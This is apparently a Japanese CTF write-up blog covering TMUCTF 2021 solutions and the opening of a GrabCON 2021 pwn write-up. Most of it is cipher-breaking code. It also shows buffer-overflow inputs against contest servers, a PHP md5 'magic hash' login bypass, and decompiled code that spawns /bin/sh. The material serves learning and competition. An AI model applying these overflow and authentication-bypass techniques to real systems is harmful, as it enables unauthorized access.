..--- /--... ...-- /..... ..--- /--... --... /-.... ---.. /--... ...-- /..... ...--
N = 81260411626862973987316305561742495761544993012600439853379666322800732818664451207390533946607041829763983067620414903193040082047573322674223071127123096567581078641234724110428075549938589573217789784502268859778132490265102692524355615989520254277239653924909794902930439189163589370886639575833129769843
e = 3
c = 2287078876011356694617507256547096810830101336497177662531728029
>> Tyranitar
You are correct!

Congrats! The GPS is activated and here's a message from your friends: flag{We're_ALrEadY_0N_0uR_waY_7HE_j0UrnEY_57aR75_70day!}
flag{We're_ALrEadY_0N_0uR_waY_7HE_j0UrnEY_57aR75_70day!}

Survey Says... (misc)

アンケートに答えたら、フラグが表示された。

flag{7H4nk5_f0R_PL4yIn9!h0PE_70_5ee_y0u_NEx7_YE4R}

TMUCTF 2021 Writeup

この大会は2021/9/8 19:30(JST)~2021/9/10 13:30(JST)に開催されました。
今回もチームで参戦。結果は2805点で496チーム中41位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome (Welcome)

Slackに入り、#generalチャネルのメッセージを見ると、Slackbotがひたすらフラグを送信している。

TMUCTF{W3lc0m3_70_7muc7f_2021_7h15_15_4_U}

Warmup (Welcome)

2つの画像の色が異なる場合は黒、同じ場合は白にして画像にしてみると、フラグが現れた。

from PIL import Image

img1 = Image.open('ciphered_message.png').convert('RGB')
img2 = Image.open('secret.png').convert('RGB')
w, h = img1.size

output_img = Image.new('RGB', (w, h), (255, 255, 255))

for y in range(h):
    for x in range(w):
        r1, g1, b1 = img1.getpixel((x, y))
        r2, g2, b2 = img2.getpixel((x, y))
        if r1 == r2 and g1 == g2 and b1 == b2:
            output_img.putpixel((x, y), (0, 0, 0))
        else:
            output_img.putpixel((x, y), (255, 255, 255))

output_img.save('flag.png')

f:id:satou-y:20210914215528p:plain

TMUCTF{W3_h0p3_y0u_3nj0y_7h15_c0mp371710n_4nd_7h4nk_y0u!}

Warmup (Pwn)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  char local_58 [76];
  int local_c;
  
  setbuf(stdout,(char *)0x0);
  setbuf(stdin,(char *)0x0);
  setbuf(stderr,(char *)0x0);
  tmulogo();
  puts("Welcome to TMUCTF 2021! Let us know your name: ");
  local_c = 0;
  gets(local_58);
  puts("Thanks!\n");
  if (local_c != 0) {
    system("cat flag.txt");
  }
  return 0;
}

BOFで長い文字列を指定すればよい。80バイト入力してみる。

$ nc 194.5.207.56 7000
=================================================================
=     ____ _    _    ____ ____ ____   ____ ____ ____    __      =
=     |_ _\|\/\ || \ | __\|_ _\|  _\  |   \|   ||   \  / |      =
=       || |   \||_|\| \__  || | _\   '-'_/| \ |'-'_/ /_ |      =
=       |/ |/v\/|___/|___/  |/ |/     |___]|___||___]   \|      =
=                                                               =
=================================================================
Welcome to TMUCTF 2021! Let us know your name: 
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Thanks!

TMUCTF{n0w_y0u_4r3_w4rm3d_up}
TMUCTF{n0w_y0u_4r3_w4rm3d_up}

UnBIOSed (Reversing)

$ python pyinstxtractor.py Unbiosed.exe
[*] Processing Unbiosed.exe
[*] Pyinstaller version: 2.1+
[*] Python version: 37
[*] Length of package: 18531925 bytes
[*] Found 44 files in CArchive
[*] Beginning extraction...please standby
[!] Warning: The script is running in a different python version than the one used to build the executable
    Run this script in Python37 to prevent extraction errors(if any) during unmarshalling
[!] Unmarshalling FAILED. Cannot extract PYZ-00.pyz. Extracting remaining files.
[*] Successfully extracted pyinstaller archive: Unbiosed.exe

You can now use a python decompiler on the pyc files within the extracted directory

Unbiosed.exe_extracted\Unbiosedを編集し、ヘッダを付けpycにする。ヘッダは以下を16バイト付けた。

3e 0d 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00

pycをデコンパイルする。

$ uncompyle6 Unbiosed.pyc 
# uncompyle6 version 3.7.4
# Python bytecode 3.7 (3390)
# Decompiled from: Python 3.6.9 (default, Jan 26 2021, 15:33:00) 
# [GCC 8.4.0]
# Embedded file name: Unbiosed.py
import numpy as np, random
a = np.empty([10, 10])
b = np.empty([10, 10])
c = np.dot(a, b)
if random.uniform(0, 5) <= 2:
    print('The Bios is Corrupted!')
    exit()
d = input('Please Enter the Recovery Key:')
e = list(d)
g = 0
h = [84, 77, 85, 67, 84, 70, 123, 77, 52, 121, 95, 52, 108, 108, 95, 89, 48, 117, 114, 95, 68, 51, 99, 49, 53, 49, 48, 110, 53, 95, 98, 51, 95, 85, 110, 98, 49, 48, 53, 51, 100, 33, 125]
for f in range(len(h)):
    if ord(e[f]) != h[f]:
        g = g + 1

if g > 0:
    print('Your Bios Data Cannot be Recovered with This Key.')
    exit()
print("Congratulations! You Have The Flag, But I'll Print it Out Again For You:")
print(d)
# okay decompiling Unbiosed.pyc

hのコードを文字にすればよい。

h = [84, 77, 85, 67, 84, 70, 123, 77, 52, 121, 95, 52, 108, 108, 95, 89, 48, 117, 114, 95, 68, 51, 99, 49, 53, 49, 48, 110, 53, 95, 98, 51, 95, 85, 110, 98, 49, 48, 53, 51, 100, 33, 125]
flag = ''.join([chr(c) for c in h])
print flag
TMUCTF{M4y_4ll_Y0ur_D3c1510n5_b3_Unb1053d!}

Login (Web)

http://185.235.41.189/robots.txtにアクセスすると、コードが書かれている。

if (isset($_GET["password"])) {
    if (hash("md5", $_GET["password"]) == $_GET["password"]) {
        echo "<h1>Here is the flag:</h1>" . $flag;
    } else {
        echo "Try harder!";
    }
}

md5が0e[数字]になる0eから始まる文字列を指定すればよい。調べると例えば0e215962017が該当するらしいので、入力するとフラグが表示された。

TMUCTF{D0_y0u_kn0w_7h3_d1ff3r3nc3_b37w33n_L0053_c0mp4r150n_4nd_57r1c7_c0mp4r150n_1n_PHP!?}

Tri (Crypto)

問題の暗号は以下の通り。

kqiaprcvsbmwynzjghxudftleo+
dk+hjpegrhomfgjozzshxqcojnkcozsrfgbnjviubevbuxrrpzdfkjmd+vrwiegqh+ocydjoinlpehrgdnjcvbdacsodjelhvxjmsfzqedvfdbulsoxctne+cagjiovlwlphergkw

いろいろ調べてみたら、Trifid cipherというのがある。https://cryptii.com/pipes/trifid-cipherでデコードしてみる。GROUP SIZEが3の時に以下のように復号できる。

didyouforgetthatthreeismyfavoritenumberlibrxmxpsryhuwkhihqfhvsurshuoblsurplvhwrjlyhbrxwkhiodjolsvdbwvjwwfdvflkudhodvqhhwqlqwdvvfhuzlulvkr
        ↓
did you forget that three is my favorite number librxmxpsryhuwkhihqfhvsurshuoblsurplvhwrjlyhbrxwkhiodjolsvdbwvjwwfdvflkudhodvqhhwqlqwdvvfhuzlulvkr

以下の部分をシーザー暗号としてシフトする。

librxmxpsryhuwkhihqfhvsurshuoblsurplvhwrjlyhbrxwkhiodjolsvdbwvjwwfdvflkudhodvqhhwqlqwdvvfhuzlulvkr

https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。

Rotation 3:
ifyoujumpoverthefencesproperlyipromisetogiveyoutheflaglipsaytsgttcascihraelasneetnintasscerwirisho
        ↓
if you jump over the fences properly i promise to give you the flag lipsaytsgttcascihraelasneetnintasscerwirisho

今度はRail Fence Cipherっぽい。https://www.geocachingtoolbox.com/index.php?lang=en&page=railFenceCipherで復号する。
レール数:3、オフセット:3で復号できた。

classicciphersarealwaysinterestingisntthatso
TMUCTF{classicciphersarealwaysinterestingisntthatso}

Common Factor (Crypto)

暗号の処理概要は以下の通り。

・e = 65537
・primes: 5個の2048bit素数
・n: primesの要素の積
・nを出力
・x1 = primes[1] ** 2
・x2 = primes[2] ** 2
・x3 = primes[1] * primes[2]
・y1 = x1 * primes[2] + x2 * primes[1]
・y2 = x2 * (primes[3] + 1) - 1
・y3 = x3 * (primes[3] + 1) - 1
・x2 + x3 + y1を出力
・y2 + y3を出力
・pow(flag, e, n)を出力

式を変形してみる。

x2 + x3 + y1 = primes[2] ** 2 + primes[1] * primes[2]
               + primes[1] ** 2 * primes[2] + primes[2] ** 2 * primes[1]
             = primes[2] ** 2 * (primes[1] + 1) + primes[1] * primes[2] * (primes[1] + 1)
             = primes[2] * (primes[1] + primes[2]) * (primes[1] + 1)
y2 + y3 = x2 * (primes[3] + 1) - 1 + x3 * (primes[3] + 1) - 1
        = primes[2] ** 2 * (primes[3] + 1) + primes[1] * primes[2] * (primes[3] + 1) - 2
        = primes[2] * (primes[1] + primes[2]) * (primes[3] + 1) - 2

y2 + y3 + 2 と n のGCDはprimes[2]。次に1つ目の式からprimes[1]がわかる。さらに2つ目の式からprimes[3]がわかる。

pow(flag, e, n) = c
→pow(flag, e, primes[1]*primes[2]*primes[3]) = c % primes[1]*primes[2]*primes[3]

modulusをprimes[1]*primes[2]*primes[3]にして、復号する。

from Crypto.Util.number import *
from sympy import *

e = 65537

with open('output.txt', 'r') as f:
    n = int(f.readline().rstrip())
    k1 = int(f.readline().rstrip())
    k2 = int(f.readline().rstrip())
    c = int(f.readline().rstrip())

p2 = GCD(k1, n)

p1 = symbols('p1')
eq = Eq(p2 * (p1 + p2) * (p1 + 1), k1)
ps = solve(eq)
for p in ps:
    if p > 0:
        p1 = p
        break

p3 = symbols('p3')
eq = Eq(p2 * (p1 + p2) * (p3 + 1) - 2, k2)
ps = solve(eq)
p3 = ps[0]

phi = (p1 - 1) * (p2 - 1) * (p3 - 1)
d = inverse(e, phi)
m = pow(c % (p1 * p2 * p3), d, (p1 * p2 * p3))
flag = long_to_bytes(m)
print flag
TMUCTF{Y35!!!__M4Y_N0t_4lW4y5_N33d_4ll_p21M3_f4c70R5}

435! (Crypto)

keyと暗号の一部がマスクされている。ブロックごとに考える。

平文
CBC (Cipher Bloc
ker Chaining) is
 an advanced for
m of block ciphe
r encryptionHHHH
HHHHHHPPPPPPPPPP

暗号
9**********b4381646*****01******
**************8b9***0485********
**********************0**ab3a*cc
5e**********18a********5383e7f**
************1b3*******9f43fd6634
1f3ef3fab2bbfc838b9ef71867c3bcbb

暗号の最後のブロックとパディングがわかっているので、条件を満たすkeyをブルートフォースで求める。あとは後ろのブロックから順に復号していき、ivを求める。これがフラグになる。

#!/usr/bin/python3
import itertools
import binascii
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.strxor import strxor

def pad(message):
    padding = bytes((key_len - len(message) % key_len) * chr(key_len - len(message) % key_len), encoding='utf-8')
    return message + padding

chars = ''
for code in range(32, 127):
    chars += chr(code)

ct5 = binascii.unhexlify('1f3ef3fab2bbfc838b9ef71867c3bcbb')
ct4_tail = binascii.unhexlify('9f43fd6634')

for c in itertools.product(chars, repeat=3):
    key = (c[0] + 'XhN2' + c[1] +'8d%8Slp3' + c[2] + 'v').encode()
    key_len = len(key)
    h = hashlib.sha256(key).hexdigest()
    hidden = binascii.unhexlify(h)[:10]
    message = b'CBC (Cipher Blocker Chaining) is an advanced form of block cipher encryption' + hidden
    pt5 = pad(message)[-16:]
    aes = AES.new(key, AES.MODE_ECB)
    pt = aes.decrypt(ct5)
    if strxor(pt[-5:], b'\x0a' * 5) == ct4_tail:
        break

print('[+] key =', key)

h = hashlib.sha256(key).hexdigest()
hidden = binascii.unhexlify(h)[:10]
message = b'CBC (Cipher Blocker Chaining) is an advanced form of block cipher encryption' + hidden
message = pad(message)
pts = [message[i:i+16] for i in range(0, len(message), 16)]

ct = ct5
for i in range(5, -1, -1):
    aes = AES.new(key, AES.MODE_ECB)
    pt = aes.decrypt(ct)
    ct = strxor(pt, pts[i])
    print('[+] ct_part =', binascii.hexlify(ct))

flag = 'TMUCTF{%s}' % ct.decode()
print('[*] flag =', flag)

実行結果は以下の通り。

[+] key = b'0XhN2!8d%8Slp3Ov'
[+] ct_part = b'9c1a9d16795c1b334d6ec49f43fd6634'
[+] ct_part = b'5e5969dcdb9b18ac33993785383e7f32'
[+] ct_part = b'959349e93481869c836d900dcab3a6cc'
[+] ct_part = b'8bc67a00c0e5198b9d0304858953eb83'
[+] ct_part = b'9f4ac903118b43816462b35101a7b6fe'
[+] ct_part = b'5930555f4433437259503733445f3137'
[*] flag = TMUCTF{Y0U_D3CrYP73D_17}
TMUCTF{Y0U_D3CrYP73D_17}

Strangely (Crypto)

https://wiremask.eu/tools/xor-cracker/でクラックする。key「f3 d9 01 ae 93 bb 25」でrarファイルにようになったが、keyの7バイト目がことなるようなので、調整する。

with open('file', 'rb') as f:
    enc = f.read()

rar_head = 'Rar!\x1a\x07\x00'

key = []
for i in range(len(rar_head)):
    key.append(ord(enc[i]) ^ ord(rar_head[i]))

dec = ''
for i in range(len(enc)):
    dec += chr(ord(enc[i]) ^ key[i%len(key)])

with open('flag.rar', 'wb') as f:
    f.write(dec)

rarファイルの情報を見る。

$ 7z l -slt flag.rar

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=ja_JP.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Core(TM) i7-10700 CPU @ 2.90GHz (A0655),ASM,AES-NI)

Scanning the drive for archives:
1 file, 1559 bytes (2 KiB)

Listing archive: flag.rar

--
Path = flag.rar
Type = Rar
Physical Size = 1559
Solid = -
Blocks = 23
Multivolume = -
Volumes = 1

----------
Path = 5.txt
Folder = -
Size = 4
Packed Size = 16
Modified = 2021-01-19 13:29:40
Created = 
Accessed = 
Attributes = A
Encrypted = +
Solid = -
Commented = -
Split Before = -
Split After = -
CRC = D4F15C54
Host OS = Win32
Method = m3:17
Version = 29

Path = 6.txt
Folder = -
Size = 4
Packed Size = 16
Modified = 2021-01-19 13:29:51
Created = 
Accessed = 
Attributes = A
Encrypted = +
Solid = -
Commented = -
Split Before = -
Split After = -
CRC = 6224C494
Host OS = Win32
Method = m3:17
Version = 29

Path = 7.txt
Folder = -
Size = 4
Packed Size = 16
Modified = 2021-01-19 13:30:03
Created = 
Accessed = 
Attributes = A
Encrypted = +
Solid = -
Commented = -
Split Before = -
Split After = -
CRC = B79C496B
Host OS = Win32
Method = m3:17
Version = 29

Path = 8.txt
Folder = -
Size = 4
Packed Size = 16
Modified = 2021-01-19 13:30:17
Created = 
Accessed = 
Attributes = A
Encrypted = +
Solid = -
Commented = -
Split Before = -
Split After = -
CRC = 0DEB7416
Host OS = Win32
Method = m3:17
Version = 29

Path = 9.txt
Folder = -
Size = 4
Packed Size = 16
Modified = 2021-01-19 13:30:31
Created = 
Accessed = 
Attributes = A
Encrypted = +
Solid = -
Commented = -
Split Before = -
Split After = -
CRC = B1441D53
Host OS = Win32
Method = m3:17
Version = 29

Path = 10.txt
Folder = -
Size = 4
Packed Size = 16
Modified = 2021-01-19 13:30:41
Created = 
Accessed = 
Attributes = A
Encrypted = +
Solid = -
Commented = -
Split Before = -
Split After = -
CRC = A55CEB27
Host OS = Win32
Method = m3:17
Version = 29

Path = 11.txt
Folder = -
Size = 4
Packed Size = 16
Modified = 2021-01-19 13:30:56
Created = 
Accessed = 
Attributes = A
Encrypted = +
Solid = -
Commented = -
Split Before = -
Split After = -
CRC = 05C3ACC9
Host OS = Win32
Method = m3:17
Version = 29

Path = 12.txt
Folder = -
Size = 4
Packed Size = 16
Modified = 2021-01-19 13:31:09
Created = 
Accessed = 
Attributes = A
Encrypted = +
Solid = -
Commented = -
Split Before = -
Split After = -
CRC = 3DA99B67
Host OS = Win32
Method = m3:17
Version = 29

Path = 13.txt
Folder = -
Size = 4
Packed Size = 16
Modified = 2021-01-19 13:31:21
Created = 
Accessed = 
Attributes = A
Encrypted = +
Solid = -
Commented = -
Split Before = -
Split After = -
CRC = 3F4D936A
Host OS = Win32
Method = m3:17
Version = 29

Path = 14.txt
Folder = -
Size = 4
Packed Size = 16
Modified = 2021-01-19 13:31:35
Created = 
Accessed = 
Attributes = A
Encrypted = +
Solid = -
Commented = -
Split Before = -
Split After = -
CRC = 138AA87B
Host OS = Win32
Method = m3:17
Version = 29

Path = 15.txt
Folder = -
Size = 4
Packed Size = 16
Modified = 2021-01-19 13:31:45
Created = 
Accessed = 
Attributes = A
Encrypted = +
Solid = -
Commented = -
Split Before = -
Split After = -
CRC = A538E0A1
Host OS = Win32
Method = m3:17
Version = 29

Path = 16.txt
Folder = -
Size = 4
Packed Size = 16
Modified = 2021-01-19 13:31:55
Created = 
Accessed = 
Attributes = A
Encrypted = +
Solid = -
Commented = -
Split Before = -
Split After = -
CRC = B9DF8C6B
Host OS = Win32
Method = m3:17
Version = 29

Path = 17.txt
Folder = -
Size = 4
Packed Size = 16
Modified = 2021-01-19 13:32:05
Created = 
Accessed = 
Attributes = A
Encrypted = +
Solid = -
Commented = -
Split Before = -
Split After = -
CRC = 01CE8D5D
Host OS = Win32
Method = m3:17
Version = 29

Path = 18.txt
Folder = -
Size = 4
Packed Size = 16
Modified = 2021-01-19 13:32:16
Created = 
Accessed = 
Attributes = A
Encrypted = +
Solid = -
Commented = -
Split Before = -
Split After = -
CRC = 814B8BED
Host OS = Win32
Method = m3:17
Version = 29

Path = 19.txt
Folder = -
Size = 4
Packed Size = 16
Modified = 2021-01-19 13:32:28
Created = 
Accessed = 
Attributes = A
Encrypted = +
Solid = -
Commented = -
Split Before = -
Split After = -
CRC = 717F3F79
Host OS = Win32
Method = m3:17
Version = 29

Path = 20.txt
Folder = -
Size = 4
Packed Size = 16
Modified = 2021-01-19 13:32:40
Created = 
Accessed = 
Attributes = A
Encrypted = +
Solid = -
Commented = -
Split Before = -
Split After = -
CRC = 5C011BC9
Host OS = Win32
Method = m3:17
Version = 29

Path = 21.txt
Folder = -
Size = 4
Packed Size = 16
Modified = 2021-01-19 13:32:50
Created = 
Accessed = 
Attributes = A
Encrypted = +
Solid = -
Commented = -
Split Before = -
Split After = -
CRC = A48DBAA5
Host OS = Win32
Method = m3:17
Version = 29

Path = 22.txt
Folder = -
Size = 4
Packed Size = 16
Modified = 2021-01-20 10:20:48
Created = 
Accessed = 
Attributes = A
Encrypted = +
Solid = -
Commented = -
Split Before = -
Split After = -
CRC = E64AF817
Host OS = Win32
Method = m3:17
Version = 29

Path = 23.txt
Folder = -
Size = 1
Packed Size = 16
Modified = 2021-01-20 10:20:59
Created = 
Accessed = 
Attributes = A
Encrypted = +
Solid = -
Commented = -
Split Before = -
Split After = -
CRC = FCB6E20C
Host OS = Win32
Method = m3:17
Version = 29

Path = 1.txt
Folder = -
Size = 4
Packed Size = 16
Modified = 2021-01-19 13:28:43
Created = 
Accessed = 
Attributes = A
Encrypted = +
Solid = -
Commented = -
Split Before = -
Split After = -
CRC = 3570E041
Host OS = Win32
Method = m3:17
Version = 29

Path = 2.txt
Folder = -
Size = 4
Packed Size = 16
Modified = 2021-01-19 13:28:57
Created = 
Accessed = 
Attributes = A
Encrypted = +
Solid = -
Commented = -
Split Before = -
Split After = -
CRC = 654AB3A9
Host OS = Win32
Method = m3:17
Version = 29

Path = 3.txt
Folder = -
Size = 4
Packed Size = 16
Modified = 2021-01-19 13:29:09
Created = 
Accessed = 
Attributes = A
Encrypted = +
Solid = -
Commented = -
Split Before = -
Split After = -
CRC = 5B22215B
Host OS = Win32
Method = m3:17
Version = 29

Path = 4.txt
Folder = -
Size = 4
Packed Size = 16
Modified = 2021-01-19 13:29:27
Created = 
Accessed = 
Attributes = A
Encrypted = +
Solid = -
Commented = -
Split Before = -
Split After = -
CRC = 0E0D89E9
Host OS = Win32
Method = m3:17
Version = 29

1.txt~22.txtまでのsizeは4、23.txtのsizeは1なので、総当たりでCRCが一致する文字列を見つける。

import binascii
import itertools

crcs = [0x3570E041, 0x654AB3A9, 0x5B22215B, 0x0E0D89E9, 0xD4F15C54, 0x6224C494,
    0xB79C496B, 0x0DEB7416, 0xB1441D53, 0xA55CEB27, 0x05C3ACC9, 0x3DA99B67,
    0x3F4D936A, 0x138AA87B, 0xA538E0A1, 0xB9DF8C6B, 0x01CE8D5D, 0x814B8BED,
    0x717F3F79, 0x5C011BC9, 0xA48DBAA5, 0xE64AF817, 0xFCB6E20C]

chars = ''
for c in range(32, 127):
    chars += chr(c)

flag = ''
for i in range(len(crcs)):
    found = False
    if i == 22:
        r = 1
    else:
        r = 4
    for c in itertools.product(chars, repeat=r):
        text = ''.join(c)
        if (binascii.crc32(text) & 0xffffffff) == crcs[i]:
            found = True
            flag += text
            print '[+] flag =', flag
            break
    if found == False:
        print 'Error'
        break

print '[*] flag =', flag

実行結果は以下の通り。

[+] flag = TMUC
[+] flag = TMUCTF{7
[+] flag = TMUCTF{7h3r3
[+] flag = TMUCTF{7h3r3_w45
[+] flag = TMUCTF{7h3r3_w45_n0_
[+] flag = TMUCTF{7h3r3_w45_n0_n33d
[+] flag = TMUCTF{7h3r3_w45_n0_n33d_70_
[+] flag = TMUCTF{7h3r3_w45_n0_n33d_70_bru7
[+] flag = TMUCTF{7h3r3_w45_n0_n33d_70_bru73_f0
[+] flag = TMUCTF{7h3r3_w45_n0_n33d_70_bru73_f0rc3_
[+] flag = TMUCTF{7h3r3_w45_n0_n33d_70_bru73_f0rc3_7h3_
[+] flag = TMUCTF{7h3r3_w45_n0_n33d_70_bru73_f0rc3_7h3_P455
[+] flag = TMUCTF{7h3r3_w45_n0_n33d_70_bru73_f0rc3_7h3_P455W0rD
[+] flag = TMUCTF{7h3r3_w45_n0_n33d_70_bru73_f0rc3_7h3_P455W0rD!_Y0
[+] flag = TMUCTF{7h3r3_w45_n0_n33d_70_bru73_f0rc3_7h3_P455W0rD!_Y0u_ju
[+] flag = TMUCTF{7h3r3_w45_n0_n33d_70_bru73_f0rc3_7h3_P455W0rD!_Y0u_ju57_h
[+] flag = TMUCTF{7h3r3_w45_n0_n33d_70_bru73_f0rc3_7h3_P455W0rD!_Y0u_ju57_h4v3_
[+] flag = TMUCTF{7h3r3_w45_n0_n33d_70_bru73_f0rc3_7h3_P455W0rD!_Y0u_ju57_h4v3_70_c
[+] flag = TMUCTF{7h3r3_w45_n0_n33d_70_bru73_f0rc3_7h3_P455W0rD!_Y0u_ju57_h4v3_70_c4lcu
[+] flag = TMUCTF{7h3r3_w45_n0_n33d_70_bru73_f0rc3_7h3_P455W0rD!_Y0u_ju57_h4v3_70_c4lcul473
[+] flag = TMUCTF{7h3r3_w45_n0_n33d_70_bru73_f0rc3_7h3_P455W0rD!_Y0u_ju57_h4v3_70_c4lcul473_cRc
[+] flag = TMUCTF{7h3r3_w45_n0_n33d_70_bru73_f0rc3_7h3_P455W0rD!_Y0u_ju57_h4v3_70_c4lcul473_cRc5_:)
[+] flag = TMUCTF{7h3r3_w45_n0_n33d_70_bru73_f0rc3_7h3_P455W0rD!_Y0u_ju57_h4v3_70_c4lcul473_cRc5_:)}
[*] flag = TMUCTF{7h3r3_w45_n0_n33d_70_bru73_f0rc3_7h3_P455W0rD!_Y0u_ju57_h4v3_70_c4lcul473_cRc5_:)}
TMUCTF{7h3r3_w45_n0_n33d_70_bru73_f0rc3_7h3_P455W0rD!_Y0u_ju57_h4v3_70_c4lcul473_cRc5_:)}

Broken RSA (Crypto)

暗号処理の概要は以下の通り。

・pads = [b'\x04', b'\x02', b'\x00', b'\x01', b'\x03']
・i, j: 0~4の組み合わせ
 ・pads[0] + b'TMUCTF' + pads[4]
 ・pads[1] + b'TMUCTF' + pads[3]
 ・pads[2] + b'TMUCTF' + pads[2]
 ・pads[3] + b'TMUCTF' + pads[1]
 ・pads[4] + b'TMUCTF' + pads[0]
 ・pads[0] * 2 + b'TMUCTF' + pads[4] * 2
 ・pads[1] * 2 + b'TMUCTF' + pads[3] * 2
 ・pads[2] * 2 + b'TMUCTF' + pads[2] * 2
 ・pads[3] * 2 + b'TMUCTF' + pads[1] * 2
 ・pads[4] * 2 + b'TMUCTF' + pads[0] * 2
     :
 ・それぞれのpow(bytes_to_long(msg), e, n)を出力
・最後にpow(bytes_to_long(secret_msg), e, n)を出力

以下を比べてみる。

・pads[2] + b'TMUCTF' + pads[2]
 = b'TMUCTF\x00'
・pads[2] * 2 + b'TMUCTF' + pads[2] * 2
 = b'TMUCTF\x00\x00'
・pads[2] * 3 + b'TMUCTF' + pads[2] * 3
 = b'TMUCTF\x00\x00\x00'

1つ目の数の256倍が2つ目の数になり、2つ目の数の256倍が3つ目の数になる。このことから暗号化データは以下のようになることを使って、nを導き出す。

(A * 256**e) % n = B
(B * 256**e) % n = C

(A * 256**e - B) と (B * 256**256 - C)のGCDがnと考えられる。算出すると、nは以下の値になる。

n = 178687641710030174725391391875667596365020728306319047485522635263856928788792264392747544630866502200298051103123255099970617381333101830066744705357923051686594736448334538740566230676008114657220351133399973716405404704654132288956810705849964560317000445171090246556869619036945752872429931964062189095563138744809626920021187533539499744999940892826446388022339663656502481337983590571794320931540723276842297611798866462197198435976264905955663723006770230633947206618763194442570290448812114549218867835561537767658934219897738952522114759281325723662384407818238388836452701782722266368637081847540663426878964206423537416368928558513511910356279139696064536450514293833309698627046383863195702404780871841847505106126552260648896877439999464328457911073105705457119731432752925110957852530172829266128412160058897537830972644942192992462097998221061279622581673295977766215387020119500286919736797464640883769066399346357647673531235429835830770457120931424234362943301312350110319595495619381

これを素因数分解する。

$ python -m primefac 178687641710030174725391391875667596365020728306319047485522635263856928788792264392747544630866502200298051103123255099970617381333101830066744705357923051686594736448334538740566230676008114657220351133399973716405404704654132288956810705849964560317000445171090246556869619036945752872429931964062189095563138744809626920021187533539499744999940892826446388022339663656502481337983590571794320931540723276842297611798866462197198435976264905955663723006770230633947206618763194442570290448812114549218867835561537767658934219897738952522114759281325723662384407818238388836452701782722266368637081847540663426878964206423537416368928558513511910356279139696064536450514293833309698627046383863195702404780871841847505106126552260648896877439999464328457911073105705457119731432752925110957852530172829266128412160058897537830972644942192992462097998221061279622581673295977766215387020119500286919736797464640883769066399346357647673531235429835830770457120931424234362943301312350110319595495619381
178687641710030174725391391875667596365020728306319047485522635263856928788792264392747544630866502200298051103123255099970617381333101830066744705357923051686594736448334538740566230676008114657220351133399973716405404704654132288956810705849964560317000445171090246556869619036945752872429931964062189095563138744809626920021187533539499744999940892826446388022339663656502481337983590571794320931540723276842297611798866462197198435976264905955663723006770230633947206618763194442570290448812114549218867835561537767658934219897738952522114759281325723662384407818238388836452701782722266368637081847540663426878964206423537416368928558513511910356279139696064536450514293833309698627046383863195702404780871841847505106126552260648896877439999464328457911073105705457119731432752925110957852530172829266128412160058897537830972644942192992462097998221061279622581673295977766215387020119500286919736797464640883769066399346357647673531235429835830770457120931424234362943301312350110319595495619381: 10407932194664399081925240327364085538615262247266704805319112350403608059673360298012239441732324184842421613954281007791383566248323464908139906605677320762924129509389220345773183349661583550472959420547689811211693677147548478866962501384438260291732348885311160828538416585028255604666224831890918801847068222203140521026698435488732958028878050869736186900714720710555703168729087 17168409475383972628504778240855911978985929543286350892069246008372473042523567037011013249871547777584631416739758322856251015798698301831765580955300650407835153601378654173742292554894502681735405620391535895647045866153891745460976487617315465562496499358894287054034024692381191210822762212034588017308516989613261306910988892855362427544142343518767108593353834256519607664876369541892324877459094093260657539475432861721224124049660249386714464357030183841589410520002623236416489710292432265593266725745973870777993186048812530526551997744644388584507538634448903227467825441758880828727826547230875410498763

素因数分解できたので、それを使ってsecret_msgを復号する。

from Crypto.Util.number import *

e = 65537

with open('output.txt', 'r') as f:
    encs = map(int, f.read().split('\n'))

diff = []
for i in range(4):
    diff.append(encs[i*5+2] * 256**e - encs[(i+1)*5+2])

n = diff[0]
for i in range(1, 4):
    n = GCD(n, diff[i])

p = 10407932194664399081925240327364085538615262247266704805319112350403608059673360298012239441732324184842421613954281007791383566248323464908139906605677320762924129509389220345773183349661583550472959420547689811211693677147548478866962501384438260291732348885311160828538416585028255604666224831890918801847068222203140521026698435488732958028878050869736186900714720710555703168729087
q = 17168409475383972628504778240855911978985929543286350892069246008372473042523567037011013249871547777584631416739758322856251015798698301831765580955300650407835153601378654173742292554894502681735405620391535895647045866153891745460976487617315465562496499358894287054034024692381191210822762212034588017308516989613261306910988892855362427544142343518767108593353834256519607664876369541892324877459094093260657539475432861721224124049660249386714464357030183841589410520002623236416489710292432265593266725745973870777993186048812530526551997744644388584507538634448903227467825441758880828727826547230875410498763
assert n == p * q

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(encs[25], d, n)
flag = long_to_bytes(m)
print flag

復号結果は以下の通り。

Public key cryptography. RSA was first publicly described in 1977 by Ron Rivest, Adi Shamir and Leonard Adleman of the Massachusetts Institute of Technology. TMUCTF{Ju57_4n07h3r_R54_ch4ll3n63!_C0u1d_y0u_50lv3_17?!?}
TMUCTF{Ju57_4n07h3r_R54_ch4ll3n63!_C0u1d_y0u_50lv3_17?!?}

GrabCON CTF 2021 Writeup

この大会は2021/9/4 19:30(JST)~2021/9/5 19:30(JST)に開催されました。
今回もチームで参戦。結果は 1750点で612チーム中61位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome (MIsc)

問題にフラグが書いてあった。

GrabCON{welcome_to_grabcon_2021}

Discord (Misc)

Discordに入り、#roleチャネルのトピックを見ると、フラグが書いてあった。

GrabCON{s@n1ty_fl4g_1s_here}

Easybin (Pwn)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  char local_38 [48];
  
  gets(local_38);
  printf("well lets check if you can bypass me!!!");
  return 0;
}

undefined8 vuln(void)

{
  execve("/bin/sh",(char **)0x0,(char **)0x0);
  return 0;
}

BOFでvoln関数を呼び出せばよい。

$ file easybin 
easybin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=53862d3819c737c91f51fca860359fa1fab716c7, for GNU/Linux 4.4.0, not stripped

$ gdb -q ./easybin
BFD: warning: /mnt/hgfs/Shared/easybin: unsupported GNU_PROPERTY_TYPE (5) type: 0xc0008002
